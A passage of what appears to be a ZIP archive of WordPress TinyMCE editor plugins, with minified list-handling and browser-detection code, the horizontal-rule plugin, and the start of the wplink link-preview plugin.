n,t=se("ownerDocument.defaultView",e);return(n=t,ae("HTMLElement",n)).prototype.isPrototypeOf(e)},fe=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),de=function(e){var n=e.selection.getStart(!0);return e.dom.getParent(n,"OL,UL,DL",me(e,n))},le=function(e){var t,n,r,o=e.selection.getSelectedBlocks();return v.grep((t=e,n=o,r=v.map(n,function(e){var n=t.dom.getParent(e,"li,dd,dt",me(t,e));return n||e}),fe.unique(r)),function(e){return O(e)})},me=function(e,n){var t=e.dom.getParents(n,"TD,TH");return 0<t.length?t[0]:e.getBody()},ge=function(e,n){var t=e.dom.getParents(n,"ol,ul",me(e,n));return ie(t)},pe=function(n,e){var t=J(e,function(e){return ge(n,e).getOr(e)});return fe.unique(t)},ve={isList:function(e){var n=de(e);return ce(n)},getParentList:de,getSelectedSubLists:function(e){var n,t,r,o=de(e),i=e.selection.getSelectedBlocks();return r=i,(t=o)&&1===r.length&&r[0]===t?(n=o,v.grep(n.querySelectorAll("ol,ul,dl"),function(e){return N(e)})):v.grep(i,function(e){return N(e)&&o!==e})},getSelectedListItems:le,getClosestListRootElm:me,getSelectedDlItems:function(e){return ee(le(e),C)},getSelectedListRoots:function(e){var n,t,r,o=(t=ge(n=e,n.selection.getStart()),r=ee(n.selection.getSelectedBlocks(),S),t.toArray().concat(r));return pe(e,o)}},he=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:P(e)}},ye={fromHtml:function(e,n){var t=(n||u.document).createElement("div");if(t.innerHTML=e,!t.hasChildNodes()||1<t.childNodes.length)throw u.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return he(t.childNodes[0])},fromTag:function(e,n){var t=(n||u.document).createElement(e);return he(t)},fromText:function(e,n){var t=(n||u.document).createTextNode(e);return he(t)},fromDom:he,fromPoint:function(e,n,t){var r=e.dom();return q.from(r.elementFromPoint(n,t)).map(he)}},Ne=function(e,n,t){return e.isSome()&&n.isSome()?q.some(t(e.getOrDie(),n.getOrDie())):q.none()},Se=Object.keys,Ce=function(){return ae("Node")},Oe=function(e,n,t){return 0!=(e.compareDocumentPosition(n)&t)},be=function(e,n){return Oe(e,n,Ce().DOCUMENT_POSITION_CONTAINED_BY)},Te=function(e,n){var t=function(e,n){for(var t=0;t<e.length;t++){var r=e[t];if(r.test(n))return r}return undefined}(e,n);if(!t)return{major:0,minor:0};var r=function(e){return Number(n.replace(t,"$"+e))};return Le(r(1),r(2))},Ee=function(){return Le(0,0)},Le=function(e,n){return{major:e,minor:n}},De={nu:Le,detect:function(e,n){var t=String(n).toLowerCase();return 0===e.length?Ee():Te(e,t)},unknown:Ee},we="Firefox",ke=function(e,n){return function(){return n===e}},Ae=function(e){var n=e.current;return{current:n,version:e.version,isEdge:ke("Edge",n),isChrome:ke("Chrome",n),isIE:ke("IE",n),isOpera:ke("Opera",n),isFirefox:ke(we,n),isSafari:ke("Safari",n)}},xe={unknown:function(){return Ae({current:undefined,version:De.unknown()})},nu:Ae,edge:P("Edge"),chrome:P("Chrome"),ie:P("IE"),opera:P("Opera"),firefox:P(we),safari:P("Safari")},Re="Windows",Ie="Android",_e="Solaris",Be="FreeBSD",Pe=function(e,n){return function(){return n===e}},Me=function(e){var n=e.current;return{current:n,version:e.version,isWindows:Pe(Re,n),isiOS:Pe("iOS",n),isAndroid:Pe(Ie,n),isOSX:Pe("OSX",n),isLinux:Pe("Linux",n),isSolaris:Pe(_e,n),isFreeBSD:Pe(Be,n)}},Ue={unknown:function(){return Me({current:undefined,version:De.unknown()})},nu:Me,windows:P(Re),ios:P("iOS"),android:P(Ie),linux:P("Linux"),osx:P("OSX"),solaris:P(_e),freebsd:P(Be)},Fe=function(e,n){var t=String(n).toLowerCase();return te(e,function(e){return e.search(t)})},je=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},He=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},$e=function(e,n){return-1!==e.indexOf(n)},qe=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,We=function(n){return function(e){return $e(e,n)}},Ve=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return $e(e,"edge/")&&$e(e,"chrome")&&$e(e,"safari")&&$e(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,qe],search:function(e){return $e(e,"chrome")&&!$e(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return $e(e,"msie")||$e(e,"trident")}},{name:"Opera",versionRegexes:[qe,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:We("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:We("firefox")},{name:"Safari",versionRegexes:[qe,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return($e(e,"safari")||$e(e,"mobile/"))&&$e(e,"applewebkit")}}],ze=[{name:"Windows",search:We("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return $e(e,"iphone")||$e(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:We("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:We("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:We("linux"),versionRegexes:[]},{name:"Solaris",search:We("sunos"),versionRegexes:[]},{name:"FreeBSD",search:We("freebsd"),versionRegexes:[]}],Ke={browsers:P(Ve),oses:P(ze)},Xe=function(e){var n,t,r,o,i,u,s,a,c,f,d,l=Ke.browsers(),m=Ke.oses(),g=je(l,e).fold(xe.unknown,xe.nu),p=He(m,e).fold(Ue.unknown,Ue.nu);return{browser:g,os:p,deviceType:(t=g,r=e,o=(n=p).isiOS()&&!0===/ipad/i.test(r),i=n.isiOS()&&!o,u=n.isAndroid()&&3===n.version.major,s=n.isAndroid()&&4===n.version.major,a=o||u||s&&!0===/mobile/i.test(r),c=n.isiOS()||n.isAndroid(),f=c&&!a,d=t.isSafari()&&n.isiOS()&&!1===/safari/i.test(r),{isiPad:P(o),isiPhone:P(i),isTablet:P(a),isPhone:P(f),isTouch:P(c),isAndroid:n.isAndroid,isiOS:n.isiOS,isWebView:P(d)})}},Qe={detect:(o=function(){var e=u.navigator.userAgent;return Xe(e)},s=!1,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return s||(s=!0,i=o.apply(null,e)),i})},Ye=(u.Node.ATTRIBUTE_NODE,u.Node.CDATA_SECTION_NODE,u.Node.COMMENT_NODE,u.Node.DOCUMENT_NODE,u.Node.DOCUMENT_TYPE_NODE,u.Node.DOCUMENT_FRAGMENT_NODE,u.Node.ELEMENT_NODE),Ge=(u.Node.TEXT_NODE,u.Node.PROCESSING_INSTRUCTION_NODE,u.Node.ENTITY_REFERENCE_NODE,u.Node.ENTITY_NODE,u.Node.NOTATION_NODE,Ye),Je=function(e,n){return e.dom()===n.dom()},Ze=Qe.detect().browser.isIE()?function(e,n){return be(e.dom(),n.dom())}:function(e,n){var t=e.dom(),r=n.dom();return t!==r&&t.contains(r)},en=function(e,n){var t=e.dom();if(t.nodeType!==Ge)return!1;var r=t;if(r.matches!==undefined)return r.matches(n);if(r.msMatchesSelector!==undefined)return r.msMatchesSelector(n);if(r.webkitMatchesSelector!==undefined)return r.webkitMatchesSelector(n);if(r.mozMatchesSelector!==undefined)return r.mozMatchesSelector(n);throw new Error("Browser lacks native selectors")},nn=function(e){return q.from(e.dom().parentNode).map(ye.fromDom)},tn=function(e){return J(e.dom().childNodes,ye.fromDom)},rn=function(e,n){var t=e.dom().childNodes;return q.from(t[n]).map(ye.fromDom)},on=function(e){return rn(e,0)},un=function(e){return rn(e,e.dom().childNodes.length-1)},sn=(function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n]}("element","offset"),function(n,t){nn(n).each(function(e){e.dom().insertBefore(t.dom(),n.dom())})}),an=function(e,n){e.dom().appendChild(n.dom())},cn=function(n,e){Z(e,function(e){an(n,e)})},fn=function(e){var n=e.dom();null!==n.parentNode&&n.parentNode.removeChild(n)},dn=function(e){return e.dom().nodeName.toLowerCase()},ln=(a=Ye,function(e){return e.dom().nodeType===a}),mn=function(e,n){var t=e.dom();!function(e,n){for(var t=Se(e),r=0,o=t.length;r<o;r++){var i=t[r];n(e[i],i)}}(n,function(e,n){!function(e,n,t){if(!(V(t)||K(t)||Q(t)))throw u.console.error("Invalid call to Attr.set. Key ",n,":: Value ",t,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(n,t+"")}(t,n,e)})},gn=function(e){return ne(e.dom().attributes,function(e,n){return e[n.name]=n.value,e},{})},pn=function(e,n,t){if(!V(t))throw u.console.error("Invalid call to CSS.set. Property ",n,":: Value ",t,":: Element ",e),new Error("CSS value must be a string: "+t);var r;(r=e).style!==undefined&&X(r.style.getPropertyValue)&&e.style.setProperty(n,t)},vn=function(e){return n=e,t=!0,ye.fromDom(n.dom().cloneNode(t));var n,t},hn=function(e,n){var t,r,o,i,u=(t=e,r=n,o=ye.fromTag(r),i=gn(t),mn(o,i),o);sn(e,u);var s=tn(e);return cn(u,s),fn(e),u},yn=function(e,n){an(e.item,n.list)},Nn=function(f,e,d){var n=e.slice(0,d.depth);return ie(n).each(function(e){var n,t,r,o,i,u,s,a,c=(n=f,t=d.itemAttributes,r=d.content,o=ye.fromTag("li",n),mn(o,t),cn(o,r),o);u=c,an((i=e).list,u),i.item=u,a=d,dn((s=e).list)!==a.listType&&(s.list=hn(s.list,a.listType)),mn(s.list,a.listAttributes)}),n},Sn=function(e,n,t){var r,o=function(e,n,t){for(var r,o,i,u=[],s=0;s<t;s++)u.push((r=e,o=n.listType,i={list:ye.fromTag(o,r),item:ye.fromTag("li",r)},an(i.list,i.item),i));return u}(e,t,t.depth-n.length);return function(e){for(var n=1;n<e.length;n++)yn(e[n-1],e[n])}(o),function(e,n){for(var t=0;t<e.length-1;t++)r=e[t].item,o="list-style-type",i="none",u=r.dom(),pn(u,o,i);var r,o,i,u;ie(e).each(function(e){mn(e.list,n.listAttributes),mn(e.item,n.itemAttributes),cn(e.item,n.content)})}(o,t),r=o,Ne(ie(n),oe(r),yn),n.concat(o)},Cn=function(e){return en(e,"OL,UL")},On=function(e){return on(e).map(Cn).getOr(!1)},bn=function(e){return 0<e.depth},Tn=function(e){return e.isSelected},En=function(e){var n=tn(e),t=un(e).map(Cn).getOr(!1)?n.slice(0,-1):n;return J(t,vn)},Ln=Object.prototype.hasOwnProperty,Dn=(c=function(e,n){return n},function(){for(var e=new Array(arguments.length),n=0;n<e.length;n++)e[n]=arguments[n];if(0===e.length)throw new Error("Can't merge zero objects");for(var t={},r=0;r<e.length;r++){var o=e[r];for(var i in o)Ln.call(o,i)&&(t[i]=c(t[i],o[i]))}return t}),wn=function(n){Z(n,function(r,e){(function(e,n){for(var t=e[n].depth,r=n-1;0<=r;r--){if(e[r].depth===t)return q.some(e[r]);if(e[r].depth<t)break}return q.none()})(n,e).each(function(e){var n,t;t=e,(n=r).listType=t.listType,n.listAttributes=Dn({},t.listAttributes)})})},kn=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return kn(t())}}},An=function(i,u,s,a){return on(a).filter(Cn).fold(function(){u.each(function(e){Je(e.start,a)&&s.set(!0)});var n,t,r,e=(n=a,t=i,r=s.get(),nn(n).filter(ln).map(function(e){return{depth:t,isSelected:r,content:En(n),itemAttributes:gn(n),listAttributes:gn(e),listType:dn(e)}}));u.each(function(e){Je(e.end,a)&&s.set(!1)});var o=un(a).filter(Cn).map(function(e){return xn(i,u,s,e)}).getOr([]);return e.toArray().concat(o)},function(e){return xn(i,u,s,e)})},xn=function(n,t,r,e){return re(tn(e),function(e){return(Cn(e)?xn:An)(n+1,t,r,e)})},Rn=tinymce.util.Tools.resolve("tinymce.Env"),In=function(e,n){var t,r,o,i,u=e.dom,s=e.schema.getBlockElements(),a=u.createFragment();if(e.settings.forced_root_block&&(o=e.settings.forced_root_block),o&&((r=u.create(o)).tagName===e.settings.forced_root_block&&u.setAttribs(r,e.settings.forced_root_block_attrs),L(n.firstChild,s)||a.appendChild(r)),n)for(;t=n.firstChild;){var c=t.nodeName;i||"SPAN"===c&&"bookmark"===t.getAttribute("data-mce-type")||(i=!0),L(t,s)?(a.appendChild(t),r=null):o?(r||(r=u.create(o),a.appendChild(r)),r.appendChild(t)):a.appendChild(t)}return e.settings.forced_root_block?i||Rn.ie&&!(10<Rn.ie)||r.appendChild(u.create("br",{"data-mce-bogus":"1"})):a.appendChild(u.create("br")),a},_n=function(i,e){return J(e,function(e){var n,t,r,o=(n=e.content,r=(t||u.document).createDocumentFragment(),Z(n,function(e){r.appendChild(e.dom())}),ye.fromDom(r));return ye.fromDom(In(i,o.dom()))})},Bn=function(e,n){return wn(n),(t=e.contentDocument,r=n,o=ne(r,function(e,n){return n.depth>e.length?Sn(t,e,n):Nn(t,e,n)},[]),oe(o).map(function(e){return e.list})).toArray();var t,r,o},Pn=function(e){var n,t,r=J(ve.getSelectedListItems(e),ye.fromDom);return Ne(te(r,M(On)),te((n=r,(t=Y.call(n,0)).reverse(),t),M(On)),function(e,n){return{start:e,end:n}})},Mn=function(s,e,a){var n,t,r,o=(n=e,t=Pn(s),r=kn(!1),J(n,function(e){return{sourceList:e,entries:xn(0,t,r,e)}}));Z(o,function(e){var n,t,r,o,i,u;n=e.entries,t=a,Z(ee(n,Tn),function(e){return function(e,n){switch(e){case"Indent":n.depth++;break;case"Outdent":n.depth--;break;case"Flatten":n.depth=0}}(t,e)}),r=e.sourceList,i=s,u=e.entries,o=re(function(e,n){if(0===e.length)return[];for(var t=n(e[0]),r=[],o=[],i=0,u=e.length;i<u;i++){var s=e[i],a=n(s);a!==t&&(r.push(o),o=[]),t=a,o.push(s)}return 0!==o.length&&r.push(o),r}(u,bn),function(e){return oe(e).map(bn).getOr(!1)?Bn(i,e):_n(i,e)}),Z(o,function(e){sn(r,e)}),fn(e.sourceList)})},Un=g.DOM,Fn=function(e,n,t){var r,o,i,u,s,a;for(i=Un.select('span[data-mce-type="bookmark"]',n),s=In(e,t),(r=Un.createRng()).setStartAfter(t),r.setEndAfter(n),u=(o=r.extractContents()).firstChild;u;u=u.firstChild)if("LI"===u.nodeName&&e.dom.isEmpty(u)){Un.remove(u);break}e.dom.isEmpty(o)||Un.insertAfter(o,n),Un.insertAfter(s,n),w(e.dom,t.parentNode)&&(a=t.parentNode,v.each(i,function(e){a.parentNode.insertBefore(e,t.parentNode)}),Un.remove(a)),Un.remove(t),w(e.dom,n)&&Un.remove(n)},jn=function(e){en(e,"dt")&&hn(e,"dd")},Hn=function(r,e,n){Z(n,"Indent"===e?jn:function(e){return n=r,void(en(t=e,"dd")?hn(t,"dt"):en(t,"dt")&&nn(t).each(function(e){return Fn(n,e.dom(),t.dom())}));var n,t})},$n=function(e,n){var t=J(ve.getSelectedListRoots(e),ye.fromDom),r=J(ve.getSelectedDlItems(e),ye.fromDom),o=!1;if(t.length||r.length){var i=e.selection.getBookmark();Mn(e,t,n),Hn(e,n,r),e.selection.moveToBookmark(i),e.selection.setRng(x(e.selection.getRng())),e.nodeChanged(),o=!0}return o},qn=function(e){return $n(e,"Indent")},Wn=function(e){return $n(e,"Outdent")},Vn=function(e){return $n(e,"Flatten")},zn=function(t,e){v.each(e,function(e,n){t.setAttribute(n,e)})},Kn=function(e,n,t){var r,o,i,u,s,a,c;r=e,o=n,u=(i=t)["list-style-type"]?i["list-style-type"]:null,r.setStyle(o,"list-style-type",u),s=e,zn(a=n,(c=t)["list-attributes"]),v.each(s.select("li",a),function(e){zn(e,c["list-item-attributes"])})},Xn=function(e,n,t,r){var o,i;for(o=n[t?"startContainer":"endContainer"],i=n[t?"startOffset":"endOffset"],1===o.nodeType&&(o=o.childNodes[Math.min(i,o.childNodes.length-1)]||o),!t&&T(o.nextSibling)&&(o=o.nextSibling);o.parentNode!==r;){if(E(e,o))return o;if(/^(TD|TH)$/.test(o.parentNode.nodeName))return o;o=o.parentNode}return o},Qn=function(f,d,l){void 0===l&&(l={});var e,n=f.selection.getRng(!0),m="LI",t=ve.getClosestListRootElm(f,f.selection.getStart(!0)),g=f.dom;"false"!==g.getContentEditable(f.selection.getNode())&&("DL"===(d=d.toUpperCase())&&(m="DT"),e=I(n),v.each(function(t,e,r){for(var o,i=[],u=t.dom,n=Xn(t,e,!0,r),s=Xn(t,e,!1,r),a=[],c=n;c&&(a.push(c),c!==s);c=c.nextSibling);return v.each(a,function(e){if(E(t,e))return i.push(e),void(o=null);if(u.isBlock(e)||T(e))return T(e)&&u.remove(e),void(o=null);var n=e.nextSibling;p.isBookmarkNode(e)&&(E(t,n)||!n&&e.parentNode===r)?o=null:(o||(o=u.create("p"),e.parentNode.insertBefore(o,e),i.push(o)),o.appendChild(e))}),i}(f,n,t),function(e){var n,t,r,o,i,u,s,a,c;(t=e.previousSibling)&&N(t)&&t.nodeName===d&&(r=t,o=l,i=g.getStyle(r,"list-style-type"),u=o?o["list-style-type"]:"",i===(u=null===u?"":u))?(n=t,e=g.rename(e,m),t.appendChild(e)):(n=g.create(d),e.parentNode.insertBefore(n,e),n.appendChild(e),e=g.rename(e,m)),s=g,a=e,c=["margin","margin-right","margin-bottom","margin-left","margin-top","padding","padding-right","padding-bottom","padding-left","padding-top"],v.each(c,function(e){var n;return s.setStyle(a,((n={})[e]="",n))}),Kn(g,n,l),Gn(f.dom,n)}),f.selection.setRng(_(e)))},Yn=function(e,n,t){return a=t,(s=n)&&a&&N(s)&&s.nodeName===a.nodeName&&(i=n,u=t,(o=e).getStyle(i,"list-style-type",!0)===o.getStyle(u,"list-style-type",!0))&&(r=t,n.className===r.className);var r,o,i,u,s,a},Gn=function(e,n){var t,r;if(t=n.nextSibling,Yn(e,n,t)){for(;r=t.firstChild;)n.appendChild(r);e.remove(t)}if(t=n.previousSibling,Yn(e,n,t)){for(;r=t.lastChild;)n.insertBefore(r,n.firstChild);e.remove(t)}},Jn=function(n,e,t,r,o){if(e.nodeName!==r||Zn(o)){var i=I(n.selection.getRng(!0));v.each([e].concat(t),function(e){!function(e,n,t,r){if(n.nodeName!==t){var o=e.rename(n,t);Kn(e,o,r)}else Kn(e,n,r)}(n.dom,e,r,o)}),n.selection.setRng(_(i))}else Vn(n)},Zn=function(e){return"list-style-type"in e},et={toggleList:function(e,n,t){var r=ve.getParentList(e),o=ve.getSelectedSubLists(e);t=t||{},r&&0<o.length?Jn(e,r,o,n,t):function(e,n,t,r){if(n!==e.getBody())if(n)if(n.nodeName!==t||Zn(r)){var o=I(e.selection.getRng(!0));Kn(e.dom,n,r),Gn(e.dom,e.dom.rename(n,t)),e.selection.setRng(_(o))}else Vn(e);else Qn(e,t,r)}(e,r,n,t)},mergeWithAdjacentLists:Gn},nt=g.DOM,tt=function(e,n){var t,r=n.parentNode;"LI"===r.nodeName&&r.firstChild===n&&((t=r.previousSibling)&&"LI"===t.nodeName?(t.appendChild(n),w(e,r)&&nt.remove(r)):nt.setStyle(r,"listStyleType","none")),N(r)&&(t=r.previousSibling)&&"LI"===t.nodeName&&t.appendChild(n)},rt=function(n,e){v.each(v.grep(n.select("ol,ul",e)),function(e){tt(n,e)})},ot=function(e,n,t,r){var o,i,u=n.startContainer,s=n.startOffset;if(3===u.nodeType&&(t?s<u.data.length:0<s))return u;for(o=e.schema.getNonEmptyElements(),1===u.nodeType&&(u=d.getNode(u,s)),i=new l(u,r),t&&D(e.dom,u)&&i.next();u=i[t?"next":"prev2"]();){if("LI"===u.nodeName&&!u.hasChildNodes())return u;if(o[u.nodeName])return u;if(3===u.nodeType&&0<u.data.length)return u}},it=function(e,n){var t=n.childNodes;return 1===t.length&&!N(t[0])&&e.isBlock(t[0])},ut=function(e,n,t){var r,o,i,u;if(o=it(e,t)?t.firstChild:t,it(i=e,u=n)&&i.remove(u.firstChild,!0),!w(e,n,!0))for(;r=n.firstChild;)o.appendChild(r)},st=function(n,e,t){var r,o,i=e.parentNode;if(k(n,e)&&k(n,t)){N(t.lastChild)&&(o=t.lastChild),i===t.lastChild&&T(i.previousSibling)&&n.remove(i.previousSibling),(r=t.lastChild)&&T(r)&&e.hasChildNodes()&&n.remove(r),w(n,t,!0)&&n.$(t).empty(),ut(n,e,t),o&&t.appendChild(o);var u=Ze(ye.fromDom(t),ye.fromDom(e))?n.getParents(e,N,t):[];n.remove(e),Z(u,function(e){w(n,e)&&e!==n.getRoot()&&n.remove(e)})}},at=function(e,n,t,r){var o,i,u,s=e.dom;if(s.isEmpty(r))i=t,u=r,(o=e).dom.$(u).empty(),st(o.dom,i,u),o.selection.setCursorLocation(u);else{var a=I(n);st(s,t,r),e.selection.setRng(_(a))}},ct=function(e,n){var t,r,o,i=e.dom,u=e.selection,s=u.getStart(),a=ve.getClosestListRootElm(e,s),c=i.getParent(u.getStart(),"LI",a);if(c){if((t=c.parentNode)===e.getBody()&&w(i,t))return!0;if(r=x(u.getRng(!0)),(o=i.getParent(ot(e,r,n,a),"LI",a))&&o!==c)return n?at(e,r,o,c):function(e,n,t,r){var o=I(n);st(e.dom,t,r);var i=_(o);e.selection.setRng(i)}(e,r,c,o),!0;if(!o&&!n)return Vn(e),!0}return!1},ft=function(e,n){return ct(e,n)||function(o,i){var u=o.dom,e=o.selection.getStart(),s=ve.getClosestListRootElm(o,e),a=u.getParent(e,u.isBlock,s);if(a&&u.isEmpty(a)){var n=x(o.selection.getRng(!0)),c=u.getParent(ot(o,n,i,s),"LI",s);if(c)return o.undoManager.transact(function(){var e,n,t,r;n=a,t=s,r=(e=u).getParent(n.parentNode,e.isBlock,t),e.remove(n),r&&e.isEmpty(r)&&e.remove(r),et.mergeWithAdjacentLists(u,c.parentNode),o.selection.select(c,!0),o.selection.collapse(i)}),!0}return!1}(e,n)},dt=function(e,n){return e.selection.isCollapsed()?ft(e,n):(r=(t=e).selection.getStart(),o=ve.getClosestListRootElm(t,r),!!(t.dom.getParent(r,"LI,DT,DD",o)||0<ve.getSelectedListItems(t).length)&&(t.undoManager.transact(function(){t.execCommand("Delete"),rt(t.dom,t.getBody())}),!0));var t,r,o},lt=function(n){n.on("keydown",function(e){e.keyCode===m.BACKSPACE?dt(n,!1)&&e.preventDefault():e.keyCode===m.DELETE&&dt(n,!0)&&e.preventDefault()})},mt=dt,gt=function(n){return{backspaceDelete:function(e){mt(n,e)}}},pt=function(n,t){return function(){var e=n.dom.getParent(n.selection.getStart(),"UL,OL,DL");return e&&e.nodeName===t}},vt=function(t){t.on("BeforeExecCommand",function(e){var n=e.command.toLowerCase();"indent"===n?qn(t):"outdent"===n&&Wn(t)}),t.addCommand("InsertUnorderedList",function(e,n){et.toggleList(t,"UL",n)}),t.addCommand("InsertOrderedList",function(e,n){et.toggleList(t,"OL",n)}),t.addCommand("InsertDefinitionList",function(e,n){et.toggleList(t,"DL",n)}),t.addCommand("RemoveList",function(){Vn(t)}),t.addQueryStateHandler("InsertUnorderedList",pt(t,"UL")),t.addQueryStateHandler("InsertOrderedList",pt(t,"OL")),t.addQueryStateHandler("InsertDefinitionList",pt(t,"DL"))},ht=function(e){return e.getParam("lists_indent_on_tab",!0)},yt=function(e){var n;ht(e)&&(n=e).on("keydown",function(e){e.keyCode!==m.TAB||m.metaKeyPressed(e)||n.undoManager.transact(function(){(e.shiftKey?Wn(n):qn(n))&&e.preventDefault()})}),lt(e)},Nt=function(n,i){return function(e){var o=e.control;n.on("NodeChange",function(e){var n=function(e,n){for(var t=0;t<e.length;t++)if(n(e[t]))return t;return-1}(e.parents,b),t=-1!==n?e.parents.slice(0,n):e.parents,r=v.grep(t,N);o.active(0<r.length&&r[0].nodeName===i)})}},St=function(e){var n,t,r;t="advlist",r=(n=e).settings.plugins?n.settings.plugins:"",-1===v.inArray(r.split(/[ ,]/),t)&&(e.addButton("numlist",{active:!1,title:"Numbered list",cmd:"InsertOrderedList",onPostRender:Nt(e,"OL")}),e.addButton("bullist",{active:!1,title:"Bullet list",cmd:"InsertUnorderedList",onPostRender:Nt(e,"UL")})),e.addButton("indent",{icon:"indent",title:"Increase indent",cmd:"Indent"})};f.add("lists",function(e){return yt(e),St(e),vt(e),gt(e)})}(window);PK�\d[?#Z~��hr/plugin.jsnu�[���(function () {
var hr = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var register = function (editor) {
      editor.addCommand('InsertHorizontalRule', function () {
        editor.execCommand('mceInsertContent', false, '<hr />');
      });
    };
    var Commands = { register: register };

    var register$1 = function (editor) {
      editor.addButton('hr', {
        icon: 'hr',
        tooltip: 'Horizontal line',
        cmd: 'InsertHorizontalRule'
      });
      editor.addMenuItem('hr', {
        icon: 'hr',
        text: 'Horizontal line',
        cmd: 'InsertHorizontalRule',
        context: 'insert'
      });
    };
    var Buttons = { register: register$1 };

    global.add('hr', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
PK�\d[S��hr/plugin.min.jsnu�[���!function(){"use strict";var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(n){n.addCommand("InsertHorizontalRule",function(){n.execCommand("mceInsertContent",!1,"<hr />")})},o=function(n){n.addButton("hr",{icon:"hr",tooltip:"Horizontal line",cmd:"InsertHorizontalRule"}),n.addMenuItem("hr",{icon:"hr",text:"Horizontal line",cmd:"InsertHorizontalRule",context:"insert"})};n.add("hr",function(n){t(n),o(n)})}();PK�\d[XM��E�Ewplink/plugin.jsnu�[���( function( tinymce ) {
	tinymce.ui.Factory.add( 'WPLinkPreview', tinymce.ui.Control.extend( {
		url: '#',
		renderHtml: function() {
			return (
				'<div id="' + this._id + '" class="wp-link-preview">' +
					'<a href="' + this.url + '" target="_blank" tabindex="-1">' + this.url + '</a>' +
				'</div>'
			);
		},
		setURL: function( url ) {
			var index, lastIndex;

			if ( this.url !== url ) {
				this.url = url;

				url = window.decodeURIComponent( url );

				url = url.replace( /^(?:https?:)?\/\/(?:www\.)?/, '' );

				if ( ( index = url.indexOf( '?' ) ) !== -1 ) {
					url = url.slice( 0, index );
				}

				if ( ( index = url.indexOf( '#' ) ) !== -1 ) {
					url = url.slice( 0, index );
				}

				url = url.replace( /(?:index)?\.html$/, '' );

				if ( url.charAt( url.length - 1 ) === '/' ) {
					url = url.slice( 0, -1 );
				}

				// If nothing's left (maybe the URL was just a fragment), use the whole URL.
				if ( url === '' ) {
					url = this.url;
				}

				// If the URL is longer that 40 chars, concatenate the beginning (after the domain) and ending with '...'.
				if ( url.length > 40 && ( index = url.indexOf( '/' ) ) !== -1 && ( lastIndex = url.lastIndexOf( '/' ) ) !== -1 && lastIndex !== index ) {
					// If the beginning + ending are shorter that 40 chars, show more of the ending.
					if ( index + url.length - lastIndex < 40 ) {
						lastIndex = -( 40 - ( index + 1 ) );
					}

					url = url.slice( 0, index + 1 ) + '\u2026' + url.slice( lastIndex );
				}

				tinymce.$( this.getEl().firstChild ).attr( 'href', this.url ).text( url );
			}
		}
	} ) );

	tinymce.ui.Factory.add( 'WPLinkInput', tinymce.ui.Control.extend( {
		renderHtml: function() {
			return (
				'<div id="' + this._id + '" class="wp-link-input">' +
					'<label for="' + this._id + '_label">' + tinymce.translate( 'Paste URL or type to search' ) + '</label><input id="' + this._id + '_label" type="text" value="" />' +
					'<input type="text" style="display:none" value="" />' +
				'</div>'
			);
		},
		setURL: function( url ) {
			this.getEl().firstChild.nextSibling.value = url;
		},
		getURL: function() {
			return tinymce.trim( this.getEl().firstChild.nextSibling.value );
		},
		getLinkText: function() {
			var text = this.getEl().firstChild.nextSibling.nextSibling.value;

			if ( ! tinymce.trim( text ) ) {
				return '';
			}

			return text.replace( /[\r\n\t ]+/g, ' ' );
		},
		reset: function() {
			var urlInput = this.getEl().firstChild.nextSibling;

			urlInput.value = '';
			urlInput.nextSibling.value = '';
		}
	} ) );

	tinymce.PluginManager.add( 'wplink', function( editor ) {
		var toolbar;
		var editToolbar;
		var previewInstance;
		var inputInstance;
		var linkNode;
		var doingUndoRedo;
		var doingUndoRedoTimer;
		var $ = window.jQuery;
		var emailRegex = /^(mailto:)?[a-z0-9._%+-]+@[a-z0-9][a-z0-9.-]*\.[a-z]{2,63}$/i;
		var urlRegex1 = /^https?:\/\/([^\s/?.#-][^\s\/?.#]*\.?)+(\/[^\s"]*)?$/i;
		var urlRegex2 = /^https?:\/\/[^\/]+\.[^\/]+($|\/)/i;
		var speak = ( typeof window.wp !== 'undefined' && window.wp.a11y && window.wp.a11y.speak ) ? window.wp.a11y.speak : function() {};
		var hasLinkError = false;
		var __ = window.wp.i18n.__;
		var _n = window.wp.i18n._n;
		var sprintf = window.wp.i18n.sprintf;

		function getSelectedLink() {
			var href, html,
				node = editor.selection.getStart(),
				link = editor.dom.getParent( node, 'a[href]' );

			if ( ! link ) {
				html = editor.selection.getContent({ format: 'raw' });

				if ( html && html.indexOf( '</a>' ) !== -1 ) {
					href = html.match( /href="([^">]+)"/ );

					if ( href && href[1] ) {
						link = editor.$( 'a[href="' + href[1] + '"]', node )[0];
					}

					if ( link ) {
						editor.selection.select( link );
					}
				}
			}

			return link;
		}

		function removePlaceholders() {
			editor.$( 'a' ).each( function( i, element ) {
				var $element = editor.$( element );

